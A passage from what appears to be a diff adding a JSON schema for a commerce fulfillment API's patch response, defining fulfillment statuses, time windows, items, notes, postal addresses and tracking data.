fulfillment-constraints.json for validation rules). \n\n **Status Values**: \n\n `ERROR`: There was an error when trying to process the fulfillment \n\n `CANCELED`: The fulfillment has been canceled \n\n `CONFIRMED`: The fulfillment has been confirmed and is ready to be processed \n\n `AWAITING_FULFILLMENT`: The fulfillment is awaiting fulfillment processing \n\n `OUT_FOR_FULFILLMENT`: The fulfillment is out for fulfillment (e.g., shipped, out for delivery) \n\n `ATTEMPTED_FULFILLMENT`: An attempt was made to fulfill the order but was unsuccessful \n\n `SUCCESS`: The fulfillment has been completed successfully \n\n `AWAITING_PICKUP`: The fulfillment is ready for pickup", + "enum": [ + "ERROR", + "CANCELED", + "CONFIRMED", + "AWAITING_FULFILLMENT", + "OUT_FOR_FULFILLMENT", + "ATTEMPTED_FULFILLMENT", + "SUCCESS", + "AWAITING_PICKUP" + ], + "title": "Fulfillment detailed status", + "type": "string" + }, + "externalId": { + "description": "External identifier for the fulfillment", + "example": "FM-Y6BN43DB590L", + "type": "string" + }, + "fulfillmentPlanId": { + "description": "Reference to the FulfillmentPlan this fulfillment was created from. Used for linking and reporting.", + "example": "FulfillmentPlan_TG41sWEXyIktH8PY4eI0nOGDoB6", + "type": "string" + }, + "fulfillmentWindow": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-window.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Specifies the time window for fulfillment (e.g., delivery slot or pickup time)", + "properties": { + "endAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "startAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "startAt", + "endAt" + ], + "title": "Fulfillment Window", + "type": "object" + }, + "history": { + "description": "List of history events associated to the fulfillment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/history-event.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Records a event that happened to a fulfillment / fulfillment plan", + "properties": { + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "eventName": { + "description": "Name of the history event", + "example": "FULFILLMENT.CANCELED", + "type": "string" + } + }, + "required": [ + "eventName", + "createdAt" + ], + "title": "History event", + "type": "object" + }, + "readOnly": true, + "type": "array" + }, + "id": { + "description": "An identifier unique to the fulfillment (`Fulfillment_`). Auto-generated by our system on creation", + "example": "Fulfillment_2G5VsWEFhIktH8PY4qC0iOGDpVJ", + "readOnly": true, + "type": "string" + }, + "inventoryBehavior": { + "default": "OBEY_POLICY", + "description": "Inventory policy for this fulfillment. Valid values: OBEY_POLICY (default), BYPASS. OBEY_POLICY decrements inventory and enforces stock checks; BYPASS skips inventory checks and allows fulfillment regardless of stock.", + "enum": [ + "OBEY_POLICY", + "BYPASS" + ], + "type": "string" + }, + "items": { + "description": "Items in the fulfillment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-item.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents an item that's included in a fulfillment / fulfillment plan", + "properties": { + "fulfillmentPlanItemId": { + "description": "Reference to the FulfillmentPlanItem this item fulfills. Required if the fulfillment is linked to a plan.", + "type": "string" + }, + "lineItemId": { + "description": "Reference to a Line Item as defined by the Order service. Optional since fulfillments do not have to be tied to an order.", + "type": "string" + }, + "name": { + "description": "Name of the fulfillment item used for display purposes", + "type": "string" + }, + "productId": { + "description": "Reference to a Product as defined by the Catalog service (commerce API v1). Optional.", + "type": "string" + }, + "quantity": { + "description": "Quantity for the fulfillment item. Note this could be a float value (e.g. 2.3 Kgs)", + "format": "float", + "type": "number" + }, + "sku": { + "description": "SKU for the fulfillment item. Optional. Deprecated in v2", + "type": "string" + }, + "skuId": { + "description": "Reference to a SKU as defined by the Catalog service (commerce API v2). Optional.", + "type": "string" + } + }, + "required": [ + "quantity", + "name" + ], + "title": "Fulfillment Item", + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "locationId": { + "description": "Reference to the Inventory Location (as defined by the Inventory Service) where the fulfillment was processed at", + "type": "string" + }, + "mode": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-mode.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible modes for a fulfillment \n\n `SHIP`: The fulfillment is a shipping fulfillment \n\n `DELIVERY` The fulfillment is a local delivery fulfillment \n\n `PICKUP` The fulfillment is a pickup fulfillment \n\n `FOR_HERE` The fulfillment is made at the location with no online interaction \n\n `DIGITAL` The fulfillment is a digital fulfillment", + "enum": [ + "SHIP", + "DELIVERY", + "PICKUP", + "FOR_HERE", + "DIGITAL" + ], + "title": "Fulfillment mode", + "type": "string" + }, + "notes": { + "description": "List of FulfillmentNote objects, used for internal or customer-facing notes.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-note.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents a note attached to a fulfillment, which may be customer-facing or internal", + "properties": { + "author": { + "description": "Name or identifier of the note's author.", + "type": "string" + }, + "authorType": { + "default": "CUSTOMER", + "description": "Type of author. Used for filtering and display. Defaults to CUSTOMER.", + "enum": [ + "CUSTOMER", + "MERCHANT", + "NONE" + ], + "type": "string" + }, + "content": { + "description": "The note content, which may be customer-facing or internal.", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "description": "Unique identifier for the note. Used for referencing and editing notes.", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "id", + "content" + ], + "title": "Fulfillment Note", + "type": "object" + }, + "type": "array" + }, + "orderId": { + "description": "Reference to an order as defined by the Orders Service", + "example": "Order_2G5VsWEFhIktH8PY4qC0iOGDpVJ", + "type": "string" + }, + "origin": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant details about an address for a fulfillment", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "required": [ + "address" + ], + "title": "Fulfillment Address", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible statuses for a fulfillment \n\n `IN_PROGRESS`: The fulfillment has been acknowledged by a fulfillment service and is in progress \n\n `SUCCESS`: The fulfillment has been completed successfully \n\n `CANCELED`: The fulfillment has been canceled \n\n `ERROR`: There was an error when trying to process the fulfillment", + "enum": [ + "IN_PROGRESS", + "SUCCESS", + "CANCELED", + "ERROR" + ], + "title": "Fulfillment status", + "type": "string" + }, + "storeId": { + "description": "ID of the store that the fulfillment belongs to", + "example": "fd3d9291-dc9a-445d-aa68-d2ff1a77a83c", + "type": "string" + }, + "trackingData": { + "description": "Tracking information for a fulfillment. The ability to have multiple tracking numbers for a single fulfillment is to support `last mile` shipping use cases. We do not support fulfilling multiple discrete sets of items (e.g. multiple boxes) in a single fulfillment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/tracking.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant details about tracking a fulfillment. Typically represents a shipping label for a service like USPS", + "properties": { + "labelId": { + "description": "Reference to a Label as defined by the Label Service", + "type": "string" + }, + "number": { + "description": "The tracking number", + "example": "U897654321345678", + "type": "string" + }, + "provider": { + "description": "Tracking provider (`UPS`, `USPS`, etc.)", + "type": "string" + }, + "service": { + "description": "Tracking provider (`2nd Day`, `Priority`, `Express` etc.)", + "type": "string" + }, + "url": { + "description": "The tracking URL", + "example": "http://www.ups.com/WebTracking/track?trackNums=U897654321345678&track.x=Track", + "type": "string" + } + }, + "required": [ + "number" + ], + "title": "Tracking", + "type": "object" + }, + "type": "array" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "id", + "storeId", + "mode", + "status", + "detailedStatus", + "locationId", + "items" + ], + "title": "Fulfillment", + "type": "object" + } + }, + "responses": { + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully patched the fulfillment", + "schema": { + "properties": { + "fulfillment": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A fulfillment represents a task to fulfill one or more items from a single location for a single fulfillment mode. A Fulfillment can exist in the context of an order or be independent of one.", + "properties": { + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "destination": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant details about an address for a fulfillment", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "required": [ + "address" + ], + "title": "Fulfillment Address", + "type": "object" + }, + "detailedStatus": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Detailed status for a fulfillment providing more granular information about the fulfillment state. This field is required for all fulfillment operations. \n\n **For updates**: Must be present and be one of the valid detailed statuses. \n\n **For creates**: Must be present and valid for the initial status being set (see fulfillment-constraints.json for validation rules). \n\n **Status Values**: \n\n `ERROR`: There was an error when trying to process the fulfillment \n\n `CANCELED`: The fulfillment has been canceled \n\n `CONFIRMED`: The fulfillment has been confirmed and is ready to be processed \n\n `AWAITING_FULFILLMENT`: The fulfillment is awaiting fulfillment processing \n\n `OUT_FOR_FULFILLMENT`: The fulfillment is out for fulfillment (e.g., shipped, out for delivery) \n\n `ATTEMPTED_FULFILLMENT`: An attempt was made to fulfill the order but was unsuccessful \n\n `SUCCESS`: The fulfillment has been completed successfully \n\n `AWAITING_PICKUP`: The fulfillment is ready for pickup", + "enum": [ + "ERROR", + "CANCELED", + "CONFIRMED", + "AWAITING_FULFILLMENT", + "OUT_FOR_FULFILLMENT", + "ATTEMPTED_FULFILLMENT", + "SUCCESS", + "AWAITING_PICKUP" + ], + "title": "Fulfillment detailed status", + "type": "string" + }, + "externalId": { + "description": "External identifier for the fulfillment", + "example": "FM-Y6BN43DB590L", + "type": "string" + }, + "fulfillmentPlanId": { + "description": "Reference to the FulfillmentPlan this fulfillment was created from. Used for linking and reporting.", + "example": "FulfillmentPlan_TG41sWEXyIktH8PY4eI0nOGDoB6", + "type": "string" + }, + "fulfillmentWindow": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-window.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Specifies the time window for fulfillment (e.g., delivery slot or pickup time)", + "properties": { + "endAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "startAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "startAt", + "endAt" + ], + "title": "Fulfillment Window", + "type": "object" + }, + "history": { + "description": "List of history events associated to the fulfillment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/history-event.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Records a event that happened to a fulfillment / fulfillment plan", + "properties": { + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "eventName": { + "description": "Name of the history event", + "example": "FULFILLMENT.CANCELED", + "type": "string" + } + }, + "required": [ + "eventName", + "createdAt" + ], + "title": "History event", + "type": "object" + }, + "readOnly": true, + "type": "array" + }, + "id": { + "description": "An identifier unique to the fulfillment (`Fulfillment_`). Auto-generated by our system on creation", + "example": "Fulfillment_2G5VsWEFhIktH8PY4qC0iOGDpVJ", + "readOnly": true, + "type": "string" + }, + "inventoryBehavior": { + "default": "OBEY_POLICY", + "description": "Inventory policy for this fulfillment. Valid values: OBEY_POLICY (default), BYPASS. OBEY_POLICY decrements inventory and enforces stock checks; BYPASS skips inventory checks and allows fulfillment regardless of stock.", + "enum": [ + "OBEY_POLICY", + "BYPASS" + ], + "type": "string" + }, + "items": { + "description": "Items in the fulfillment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-item.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents an item that's included in a fulfillment / fulfillment plan", + "properties": { + "fulfillmentPlanItemId": { + "description": "Reference to the FulfillmentPlanItem this item fulfills. Required if the fulfillment is linked to a plan.", + "type": "string" + }, + "lineItemId": { + "description": "Reference to a Line Item as defined by the Order service. Optional since fulfillments do not have to be tied to an order.", + "type": "string" + }, + "name": { + "description": "Name of the fulfillment item used for display purposes", + "type": "string" + }, + "productId": { + "description": "Reference to a Product as defined by the Catalog service (commerce API v1). Optional.", + "type": "string" + }, + "quantity": { + "description": "Quantity for the fulfillment item. Note this could be a float value (e.g. 2.3 Kgs)", + "format": "float", + "type": "number" + }, + "sku": { + "description": "SKU for the fulfillment item. Optional. Deprecated in v2", + "type": "string" + }, + "skuId": { + "description": "Reference to a SKU as defined by the Catalog service (commerce API v2). Optional.", + "type": "string" + } + }, + "required": [ + "quantity", + "name" + ], + "title": "Fulfillment Item", + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "locationId": { + "description": "Reference to the Inventory Location (as defined by the Inventory Service) where the fulfillment was processed at", + "type": "string" + }, + "mode": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-mode.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible modes for a fulfillment \n\n `SHIP`: The fulfillment is a shipping fulfillment \n\n `DELIVERY` The fulfillment is a local delivery fulfillment \n\n `PICKUP` The fulfillment is a pickup fulfillment \n\n `FOR_HERE` The fulfillment is made at the location with no online interaction \n\n `DIGITAL` The fulfillment is a digital fulfillment", + "enum": [ + "SHIP", + "DELIVERY", + "PICKUP", + "FOR_HERE", + "DIGITAL" + ], + "title": "Fulfillment mode", + "type": "string" + }, + "notes": { + "description": "List of FulfillmentNote objects, used for internal or customer-facing notes.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-note.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents a note attached to a fulfillment, which may be customer-facing or internal", + "properties": { + "author": { + "description": "Name or identifier of the note's author.", + "type": "string" + }, + "authorType": { + "default": "CUSTOMER", + "description": "Type of author. Used for filtering and display. Defaults to CUSTOMER.", + "enum": [ + "CUSTOMER", + "MERCHANT", + "NONE" + ], + "type": "string" + }, + "content": { + "description": "The note content, which may be customer-facing or internal.", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "description": "Unique identifier for the note. Used for referencing and editing notes.", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": 